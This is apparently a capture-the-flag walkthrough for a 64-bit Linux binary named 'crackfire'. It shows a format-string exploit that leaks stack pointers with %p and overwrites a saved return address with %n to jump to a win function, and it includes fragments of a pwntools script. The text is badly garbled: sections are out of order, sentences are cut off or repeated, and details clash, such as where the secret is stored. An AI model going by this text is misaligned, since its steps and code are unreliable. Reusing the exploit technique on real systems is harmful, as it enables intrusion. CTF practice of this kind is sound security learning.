The is stored in the binary as a global:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p Output (truncated):
from pwn import *
Invalid code! Try again. If you guess correctly you get: https- bit.ly crackfire
Key functions:
chmod +x crackfire file crackfire # crackfire: ELF 64-bit LSB executable, x86‑64, dynamically linked, ... The binary is – symbols are present, making static analysis easier. 2. Quick run‑through Running the binary locally shows the intended user interaction:
Access granted! Flag: FLAG... The goal is to get the flag brute‑forcing the secret. 3. Static analysis 3.1. strings & nm strings crackfire | head # … many strings, including "Access granted!", "Invalid code!" nm -D crackfire | grep -i win # 0000000000401240 T win The function win prints the flag. The usual pattern in these CTF binaries is: The is stored in the binary as a
# ---------------------------------------------------------------- def leak_address(p, fmt): """Send a format string and return the first leaked pointer.""" p.sendlineafter(b"Enter the secret code:", fmt.encode()) p.recvuntil(b"Enter the secret code:\n") leak = p.recvline().strip() # The leak may contain spaces; take first token addr = int(leak.split()[0], 16) log.success(f"Leaked: hex(addr)") return addr
0x404060: "t0pS3cr3tC0de!" In main you’ll see:
[payload] = <addr_of_ret> <addr_of_ret+4> <format string> We must pad the number of bytes printed so that %n writes the correct value. The binary is – symbols are present, making
# Remote host (if the challenge runs on a remote server) HOST = "challenge.example.com" PORT = 31337
Challenge type: Binary exploitation (pwn) – 64‑bit Linux Difficulty: Medium / Hard (depends on the exact variant) Points: 500 (CTF typical) TL;DR – The binary is a simple “crack‑the‑code” game that reads a user‑supplied string, checks it against a secret flag stored in the binary, and then prints “Access granted!” on success. The binary contains a classic format‑string vulnerability that lets us leak the address of the secret and later overwrite the check function’s return address to jump to win . By combining an info‑leak with a one‑shot ret2win payload we obtain the flag. Below is a step‑by‑step walkthrough that shows the thought process, the tools used, and the final exploit script (Python + pwntools). Feel free to copy the script and adapt it for the exact binary you downloaded from the short link. 1. Getting the binary The challenge link ( https://bit.ly/crackfire ) resolves to a zip file containing:
Even though the source isn’t present, the symbols make this clear. Open crackfire in Ghidra (or IDA) and locate the main routine.
# Target location: saved RIP on stack (found via %p leaks) ret_addr = 0x7fffffffe0a8 # example address from a local run
[0] pointer to format string (our input) [1] saved %rbp of main [2] saved RIP of main <-- target [3...] other registers / args By printing many %p s we can see where the saved RIP lands. Example payload: